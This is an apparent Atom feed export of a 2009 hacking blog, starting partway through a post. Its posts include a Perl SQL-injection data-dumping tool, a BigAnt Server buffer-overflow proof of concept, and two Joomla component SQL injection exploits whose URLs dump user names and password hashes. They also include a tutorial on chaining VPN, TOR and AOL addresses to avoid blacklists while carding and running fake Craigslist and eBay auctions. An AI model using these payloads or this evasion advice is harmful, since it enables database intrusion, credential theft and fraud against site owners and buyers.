$c0de = "0x63306C69";&lt;br /&gt;my $logo = "SSDp";&lt;br /&gt;&lt;br /&gt;print "\n *************************************\n";&lt;br /&gt;print " *       Simple SQLi Dumper 2.2      *\n";&lt;br /&gt;print " *          Coded By Vrs-hCk         *\n";&lt;br /&gt;print " *  MainHack.net - AntiSecurity.org  *\n";&lt;br /&gt;print " *************************************\n\n";&lt;br /&gt;&lt;br /&gt;print " [$logo] SQLi URL (c0li inside) : "; chomp ($sqli = &lt;stdin&gt;);&lt;br /&gt;print " [$logo] SQLi End Tag : "; chomp ($sql_end = &lt;stdin&gt;);&lt;br /&gt;&lt;br /&gt;print " [$logo] DB Name (leave blank for use current db) : "; chomp ($db_name = &lt;stdin&gt;);&lt;br /&gt;print " [$logo] Table Name : "; chomp ($table_name = &lt;stdin&gt;);&lt;br /&gt;print " [$logo] Columns Name (separate by comma char) : "; chomp ($columns = &lt;stdin&gt;);&lt;br /&gt;&lt;br /&gt;print " [$logo] Start Limit : "; chomp ($id_start = &lt;stdin&gt;);&lt;br /&gt;print " [$logo] Stop Limit : "; chomp ($id_end = &lt;stdin&gt;);&lt;br /&gt;print " [$logo] Log File : "; chomp ($sql_log = &lt;stdin&gt;);&lt;br /&gt;&lt;br /&gt;print "\n [$logo] DUMPING DATA ...\n\n";&lt;br /&gt;&lt;br /&gt;my $concat = "CONCAT(".$c0de.",CONCAT_WS(0x3a,$columns),".$c0de.")";&lt;br /&gt;my $query = str_replace($sqli,"c0li",$concat);&lt;br /&gt;print " [$logo] [$table_name] $columns :\n\n";&lt;br /&gt;&lt;br /&gt;for ($id=$id_start; $id&lt;=$id_end; $id++) { 	my $exploit = $query."+FROM+".$db_name.".".$table_name."+LIMIT+".$id.",1".$sql_end; 	if ($db_name eq "") { $exploit = $query."+FROM+".$table_name."+LIMIT+".$id.",1".$sql_end; } 	my $res = get_content($exploit); 	if ($res =~ m/c0li(.+?)c0li/g) { 		my $data = $1; 		open(DAT,"&gt;&gt;$sql_log") || die(" [$logo] Cannot Open File.\n");&lt;br /&gt;		print DAT "$data\n";&lt;br /&gt;		close(DAT);&lt;br /&gt;		print " [$logo] ID ($id) $data\n";&lt;br /&gt;	}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print "\n [$logo] Finish.\n\n";&lt;br /&gt;&lt;br /&gt;sub str_replace {&lt;br /&gt;	my $source  = shift;&lt;br /&gt;	my $search  = shift;&lt;br /&gt;	my $replace = shift;&lt;br /&gt;	$source =~ s/$search/$replace/ge;&lt;br /&gt;	return $source;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub get_content() {&lt;br /&gt;	my $url = $_[0];&lt;br /&gt;	my $req = HTTP::Request-&gt;new(GET =&gt; $url);&lt;br /&gt;	my $ua  = LWP::UserAgent-&gt;new();&lt;br /&gt;	$ua-&gt;timeout(10);&lt;br /&gt;	my $res = $ua-&gt;request($req);&lt;br /&gt;	if ($res-&gt;is_error){&lt;br /&gt;		print " [$logo] ID [timeout]\n";&lt;br /&gt;	}&lt;br /&gt;	return $res-&gt;content;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# AntiSecurity.org [10-09-2009]&lt;/stdin&gt;&lt;/stdin&gt;&lt;/stdin&gt;&lt;/stdin&gt;&lt;/stdin&gt;&lt;/stdin&gt;&lt;/stdin&gt;&lt;/stdin&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-533739764015186777?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/533739764015186777/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/simple-sqli-dumper-ssdp-v01-gui.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/533739764015186777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/533739764015186777'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/simple-sqli-dumper-ssdp-v01-gui.html' title='Simple SQLi Dumper (SSDp) v0.1 GUI'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_dwahXHUsR58/SsF66GBrZYI/AAAAAAAAACY/Mff9PawJjGc/s72-c/3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-1295412061834340730</id><published>2009-09-27T21:32:00.000-07:00</published><updated>2009-09-27T21:47:38.243-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Metasploit Framework</title><content type='html'>&lt;a href="http://spool.metasploit.com/releases/framework-3.2.tar.gz"&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:webdings;"&gt;Metasploit provides useful information to people who &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:webdings;"&gt;perform penetration testing,IDS signature development, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:webdings;"&gt;and exploit research. This project was created to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:webdings;"&gt;provide information on exploit techniques and to &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:webdings;"&gt;create a useful resource for exploit developers &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:webdings;"&gt;and security professionals. The tools and information&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:webdings;"&gt;on this site are provided for legal security research&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:webdings;"&gt;and testing purposes only.Metasploit is a community project &lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre id="line871"&gt;managed by Metasploit LLC.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/releases/framework-3.3-dev.exe"&gt;Metasploit 3.3 for WIN.32&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/releases/framework-3.3-dev.tar.bz2"&gt;Metasploit 3.3 for UNIX&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-1295412061834340730?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/1295412061834340730/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/metasploit-framework.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1295412061834340730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1295412061834340730'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/metasploit-framework.html' title='Metasploit Framework'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-6526934200503686143</id><published>2009-09-27T20:53:00.000-07:00</published><updated>2009-09-27T20:54:25.572-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>BigAnt Server &lt;= 2.50 SP6 Local (ZIP File) Buffer Overflow PoC #2</title><content type='html'>#!/usr/bin/env python&lt;br /&gt;&lt;br /&gt;########################################################################&lt;br /&gt;#&lt;br /&gt;# BigAnt Server &lt;= 2.50 SP6 Local (ZIP File) Buffer Overflow PoC #2&lt;br /&gt;# Found By:  Dr_IDE&lt;br /&gt;# Tested:    XPSP3&lt;br /&gt;# Usage:  Open BigAnt Console, Go to Plug-In, Add our zip, Boom.&lt;br /&gt;#&lt;br /&gt;########################################################################&lt;br /&gt;&lt;br /&gt;buff = ("\x41" * 10000)&lt;br /&gt;&lt;br /&gt;f1 = open("BigAntPlugIn.zip","w")&lt;br /&gt;f1.write(buff)&lt;br /&gt;f1.close()&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-6526934200503686143?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/6526934200503686143/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/bigant-server-250-sp6-local-zip-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6526934200503686143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6526934200503686143'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/bigant-server-250-sp6-local-zip-file.html' title='BigAnt Server &lt;= 2.50 SP6 Local (ZIP File) Buffer Overflow PoC #2'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-2716766810333694876</id><published>2009-09-25T04:30:00.000-07:00</published><updated>2009-09-25T04:32:06.820-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Mambo/Joomla SQL Injection Vulneralbility</title><content type='html'>#######################################################&lt;br /&gt;## Mambo/Joomla SQL Injection Vulneralbility ##&lt;br /&gt;## Component : com_tupinambis ##&lt;br /&gt;## Release : September 23, 2009 ##&lt;br /&gt;## --------------------------------------------------##&lt;br /&gt;##.---..-..-..-.,-..-..-..-. .---..---..---..----. ##&lt;br /&gt;##`| |'| || || . &lt; | || || |__ | |- \ \ `| |'| || | ##&lt;br /&gt;## `-' `----'`-'`-'`----'`----'`---'`---' `-' `----' ##&lt;br /&gt;##-------------------------------------------------- ##&lt;br /&gt;#######################################################&lt;br /&gt;&lt;br /&gt;[+] Author : Don Tukulesto&lt;br /&gt;[+] Homepage : http://www.indonesiancoder.com&lt;br /&gt;[+] Location : Republik Indonesia&lt;br /&gt;&lt;br /&gt;#######################################################&lt;br /&gt;&lt;br /&gt;[ Software Information ]&lt;br /&gt;&lt;br /&gt;[+] Software : com_tupinambis&lt;br /&gt;[+] Version : 1.0&lt;br /&gt;[+] Vendor : www.tupinambis.net&lt;br /&gt;[+] Download :&lt;br /&gt;http://www.onestopjoomla.com/extensions/auction/tupinambis/&lt;br /&gt;[+] Vulnerability : SQL Injection&lt;br /&gt;[+] Google Dork : xxxxxxx&lt;br /&gt;&lt;br /&gt;#######################################################&lt;br /&gt;[ ExPL0!T ]&lt;br /&gt;&lt;br /&gt;[+] Mambo :&lt;br /&gt;http://127.0.0.1/index.php?option=com_tupinambis&amp;task=verproyecto&amp;proyecto=&lt;br /&gt;-666+union+select+1,2,3,concat_ws(0x3a,username,password)tukulesto,5,6,7,8,&lt;br /&gt;9,10,11+from+mos_users--&lt;br /&gt;&lt;br /&gt;[+] Joomla :&lt;br /&gt;http://127.0.0.1/index.php?option=com_tupinambis&amp;task=verproyecto&amp;proyecto=&lt;br /&gt;-666+union+select+1,2,3,concat_ws(0x3a,username,password)tukulesto,5,6,7,8,&lt;br /&gt;9,10,11+from+jos_users--&lt;br /&gt;&lt;br /&gt;#######################################################&lt;br /&gt;&lt;br /&gt;[ Greetings ]&lt;br /&gt;&lt;br /&gt;[+] All of Indonesian Coder Member, M3NW5, mistersaint, gonzhack, m364tr0n,&lt;br /&gt;cyb3r_tr0n, TUCKER, Petrucii, Chercut,&lt;br /&gt;Senot, Joker, Quick_5ilv3r, ran, m4ho666, Den Bayan, vyc0d, bh4nd55,&lt;br /&gt;Den Awink&lt;br /&gt;[+] All of Surabayahackerlink Member, Awan, Plaque, rey_cute, Tuex, XNITRO,&lt;br /&gt;DraCoola.com&lt;br /&gt;[+] ServerIsDown.org, Jack-, Yadoy666 + tante Miya, kecemplungkalen,&lt;br /&gt;xshadow, H4ck3rKu&lt;br /&gt;[+] Kill-9 Crew, kaMtiEz, Arianom, Pathloader, tiw0L,&lt;br /&gt;[+] V3n0m, Str0ke, sp3x, todd, Antisecurity.org, and YOU !!!&lt;br /&gt;&lt;br /&gt;[ SHOUT ]&lt;br /&gt;&lt;br /&gt;Happy Eidul Fitri 1430H.&lt;br /&gt;&lt;br /&gt;Minal Aidin Wal Faidzin.&lt;br /&gt;&lt;br /&gt;[ SP3C!AL ]&lt;br /&gt;&lt;br /&gt;lovely Emak, Bapak, Adek ku sayang (^_^)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-2716766810333694876?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/2716766810333694876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/mambojoomla-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2716766810333694876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2716766810333694876'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/mambojoomla-sql-injection.html' title='Mambo/Joomla SQL Injection Vulneralbility'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-3606412038605452730</id><published>2009-09-25T04:25:00.000-07:00</published><updated>2009-09-25T04:27:37.275-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Joomla Component com_fastball (league) Remote SQL Injection Vulnerability</title><content type='html'>###########################################################################&lt;br /&gt;##################################&lt;br /&gt;## Joomla Component com_fastball Remote SQL injection vulnerability -&lt;br /&gt;(league) ##&lt;br /&gt;## Author : kaMtiEz (kamzcrew[at]gmail[dot]com) ##&lt;br /&gt;## Homepage : http://www.indonesiancoder.com ##&lt;br /&gt;## Date : September 23, 2009 ##&lt;br /&gt;###########################################################################&lt;br /&gt;##################################&lt;br /&gt;# Hello My Name Is :&lt;br /&gt;##&lt;br /&gt;# __ _____ __ ._____________&lt;br /&gt;##&lt;br /&gt;# | | _______ / \_/ |_|__\_ _____/_______&lt;br /&gt;##&lt;br /&gt;# | |/ /\__ \ / \ / \ __\ || __)_\___ /&lt;br /&gt;##&lt;br /&gt;# | &lt; / __ \_/ Y \ | | || \/ /&lt;br /&gt;##&lt;br /&gt;# |__|_ \(____ /\____|__ /__| |__/_______ /_____ \&lt;br /&gt;##&lt;br /&gt;# \/ \/ \/ \/ \/ -=- INDONESIAN CODER&lt;br /&gt;-=- KILL-9 CREW -=- ##&lt;br /&gt;###########################################################################&lt;br /&gt;##################################&lt;br /&gt;&lt;br /&gt;[ Software Information ]&lt;br /&gt;&lt;br /&gt;[+] Vendor : http://www.fastballproductions.com/&lt;br /&gt;[+] Download :&lt;br /&gt;http://www.fastballproductions.com/index.php?option=com_digistore&amp;task=list&lt;br /&gt;_products&amp;id=1&amp;Itemid=32&lt;br /&gt;[+] version : 1.1.0 - 1.2&lt;br /&gt;[+] Vulnerability : SQL injection&lt;br /&gt;[+] Dork : xxxxxxx&lt;br /&gt;[+] Location : INDONESIA&lt;br /&gt;###########################################################################&lt;br /&gt;##################################&lt;br /&gt;&lt;br /&gt;[ Vulnerable File ]&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/index.php?option=com_fastball&amp;league=[INDONESIANCODER]&lt;br /&gt;&lt;br /&gt;[ Exploit ]&lt;br /&gt;&lt;br /&gt;-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11+f&lt;br /&gt;rom+jos_users--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;###########################################################################&lt;br /&gt;##################################&lt;br /&gt;&lt;br /&gt;[ Thx TO ]&lt;br /&gt;&lt;br /&gt;[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW&lt;br /&gt;[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h&lt;br /&gt;[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz&lt;br /&gt;[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,devil_nongkrong&lt;br /&gt;and YOU!!&lt;br /&gt;&lt;br /&gt;[ NOTE ]&lt;br /&gt;&lt;br /&gt;[+] makasih buad babe and enyak .... muach ..&lt;br /&gt;[+] makasih buat om tukulesto yg menemani saia selalu dan enggak bosen ma&lt;br /&gt;gue .. hahaha&lt;br /&gt;[+] aurakasih napa sih lo susah banget di hubungi ?? .. hha&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-3606412038605452730?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/3606412038605452730/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/joomla-component-comfastball-league.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3606412038605452730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3606412038605452730'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/joomla-component-comfastball-league.html' title='Joomla Component com_fastball (league) Remote SQL Injection Vulnerability'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-539269013094894246</id><published>2009-09-23T02:37:00.000-07:00</published><updated>2009-09-23T02:43:48.187-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>How to hide your IP</title><content type='html'>I know many of you hiding ip's via Socks or poxy..that's shit...sorry but if they have java they can get ur ip even if u are connected thrhough a socks.&lt;br /&gt;&lt;br /&gt;So. If u have a good connection at internet you can use this softwares:&lt;br /&gt;&lt;br /&gt;1. Local ip &gt; AOL ( using aol 9.1 or AOL desktop 10.)&lt;br /&gt;To configure your ip to use AOL USA ip class you have to do go to:&lt;br /&gt;Open Aol 9.1 &gt; Connection options &gt; Advanced Broadband Settings &gt; continue &gt; &amp; at Broadband u will see something " You are curently editing settings for Broadband, than click and go down to Add a Broadband profile &gt; Put any profil name you want &gt; than down to Connection Type click on Home Network. and SAVE&lt;br /&gt;&lt;br /&gt;This is how you get IP privat from AOL.&lt;br /&gt;&lt;br /&gt;BUT what you guys didnt know and I am 100% sure about that...AOL have their ip in black list. So to have a PURE and NON blacklisted IP from AOL after you have did this setup you have to:&lt;br /&gt;&lt;br /&gt;Connect using this settings, test your ip at [url="http://www.showmyip.com/?version=full"]http://www.showmyip.com/?version=full[/url] and see if ur ip address is from United States verified, if yes than disconect close AOL from taskmanager anything that AOL have than&lt;br /&gt;&lt;br /&gt;Download AOL DEsktop ( AOL 10 ), install and make the same connection settings IF those settings are not already same as AOL 9.1. after that DONT open AOL desktop&lt;br /&gt;&lt;br /&gt;Open AGAIN aol 9.1 from program files &gt; aol 9.1 &gt; waol.exe than try to connect, You will get an error first time but second time it will work&lt;br /&gt;&lt;br /&gt;Usualy 70% of times it will give u an ip with 172.191, 172.192, 172.193 many of those IP's are not in blacklist&lt;br /&gt;&lt;br /&gt;For those who is making fake auctions on Craiglist, you might need to know this way u will NOT have to register and make phone registration...YOU dont need to register..you can put FREE POST on AUTOS with no phone required or no Craigslist account&lt;br /&gt;&lt;br /&gt;For those who Are making fraud on Ebay same thing...this non blacklist aol put you on website in like 2 hours instead of 8 or not puting u at all on ebay Autos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Some times XP or VISTA dont kick AOL even if u are kicked from task manager so...Better on carding make a new User on your computer for example&lt;br /&gt;AOL1 pass AOL1. than open AOL 9.1 as I said only after you have downloaded and instaled AOL 10 and than u will see first time NON BLACK listed AOL IP :D pure and simple...after you have done and you have disconected and reconected and didnt gave you a non black listed IP, try few more times 1 2, if not than delete user aol1 and make aol2 and so on :) NEW ip non black listed...&lt;br /&gt;&lt;br /&gt;To test if your ip is in black list the easyest way go to this link&lt;br /&gt;&lt;br /&gt;https://post.craigslist.org/chi/S/cto/&lt;br /&gt;&lt;br /&gt;If you get this "You need to have a craigslist account to post to cars &amp; trucks - by owner on chicago craigslist. " than be sure ur ip is 100% in BLACK LIST.&lt;br /&gt;&lt;br /&gt;If you got a page with GREEN and you can add your description on your "car" than your ip is not blacklisted and can be used to a very fucked up site that have the biggest security in the world and YOU can card that site :D I made testes so i am sure about what I am saying :P&lt;br /&gt;&lt;br /&gt;=================================&lt;br /&gt;&lt;br /&gt;2. Local IP &gt; VPN&lt;br /&gt;&lt;br /&gt;www.findnot.com &lt; I used a Japan credit card and i bought it for a year and worked...still working and I am still connected to this&lt;br /&gt;Findnot have many servers all over the world and there are fast servers&lt;br /&gt;&lt;br /&gt;3. Local IP &gt; TOR&lt;br /&gt;&lt;br /&gt;This tool is more than great if you dont trust me do this test and you will see what TOR can provide :)&lt;br /&gt;Also many of you know that TOR connect every time from different 3 IP from DIfferent country's&lt;br /&gt;&lt;br /&gt;So far so good...BUT why if you can Change your First IP and Last IP so every time you will Re-connect just from 1 ip that is in the middle and not from 3.&lt;br /&gt;&lt;br /&gt;FOR low internet connections.&lt;br /&gt;&lt;br /&gt;So for testing to see HOW private is TOR do this..&lt;br /&gt;&lt;br /&gt;first open again from your Local IP [url="http://www.showmyip.com/?version=full"]http://www.showmyip.com/?version=full[/url] &gt; AND down at:&lt;br /&gt;&lt;br /&gt;Computer/Device Properties (as of August 21, 2008 07:00 UTC) you will see your computer DATA, than open TOR put as socks 127.0.0.1 TOR port and than OPEN again this website...YOU will see the data from there was changed...SO when you are doing CARDING...even if you are not connected from your IP address and u are using all kind of softwares to change your IP..this DATA will remaine 100% sure in their database if they asking for this data...BUT with TOR...no more information about your computer: Operating System Platform, Screen Width: Screen Height: etc.&lt;br /&gt;&lt;br /&gt;Now to easy your things and also using TOR on all the softwares you are open use&lt;br /&gt;&lt;br /&gt;Proxifier, So first open TOR connect to TOR network than Open proxifier add in proxifier 127.0.0.1:TORport and than. Open Firefox or Iexplore BUT dont click on socks let them choice ip from local..and you will see IP Proxifier take ip from TOR&lt;br /&gt;&lt;br /&gt;=============================&lt;br /&gt;&lt;br /&gt;Now for those who are fucked up on their mind and are very well scared...You can use this:&lt;br /&gt;&lt;br /&gt;Local IP &gt; VPN &gt; Proxifier + TOR + Remote desktop connection or socks or anything u guys want. AOL or CS wont work with Proxifier + tor&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;Local IP &gt; VPN &gt; AOL &gt; TOR and u can change tor's last ip every time u want but modify the config&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;Usualy i use just VPN but if I want to do something or to enter to a private network than I use Local IP &gt; VPN &gt; Proxifier + TOR + something else :D&lt;br /&gt;&lt;br /&gt;Hope I have helped you a little bit with this tutorial.&lt;br /&gt;&lt;br /&gt;p.s: dont use socks or proxy... from LOCAL IP &gt; socks ...this is shit. use LOCAL IP &gt; VPN or TOR &gt; socks :D much more safe than just with socks on local ip even if ur connection is slow try to find a good VPN and than to a socks or proxy&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Have Fun on carding/hacking/cracking/ or whatever u guys are doing and want to hide ur ip :D[u][/u]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-539269013094894246?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/539269013094894246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/how-to-hide-your-ip.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/539269013094894246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/539269013094894246'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/how-to-hide-your-ip.html' title='How to hide your IP'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4475013069297474589</id><published>2009-09-19T20:14:00.000-07:00</published><updated>2009-09-19T20:19:54.244-07:00</updated><title type='text'>Happy Eid-Ul Fitr 1430</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Words by words here might hurt you once even more. In case, We need to apologize to you on it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Translation (lol) :&lt;br /&gt; &lt;br /&gt;                                 SAYA MATTHEWS MENGUCAPKAN&lt;br /&gt;&lt;br /&gt;                            SELAMAT HARI RAYA IDUL FITRI 1430 H&lt;br /&gt;&lt;br /&gt;                                   MOHON MAAF LAHIR BATIN&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dwahXHUsR58/SrWfKP2Y4eI/AAAAAAAAACA/fJ2VTPztBV8/s1600-h/IDULFIRI.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 320px;" src="http://4.bp.blogspot.com/_dwahXHUsR58/SrWfKP2Y4eI/AAAAAAAAACA/fJ2VTPztBV8/s320/IDULFIRI.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5383383927993459170" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4475013069297474589?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4475013069297474589/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/happy-eid-ul-fitr-1430.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4475013069297474589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4475013069297474589'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/happy-eid-ul-fitr-1430.html' title='Happy Eid-Ul Fitr 1430'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_dwahXHUsR58/SrWfKP2Y4eI/AAAAAAAAACA/fJ2VTPztBV8/s72-c/IDULFIRI.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-2527459325158343593</id><published>2009-09-19T20:12:00.000-07:00</published><updated>2009-09-19T20:13:02.841-07:00</updated><title type='text'>IMS SiteManager Blind SQL Injection Vuln</title><content type='html'>[o]------------------------------------------------------------------------------------[x]&lt;br /&gt; |  Blind SQL Injection Vulnerability&lt;br /&gt;   |&lt;br /&gt;[o]------------------------------------------------------------------------------------[o]&lt;br /&gt; |  Software : IMS SiteManager&lt;br /&gt;   |&lt;br /&gt; |  Vendor   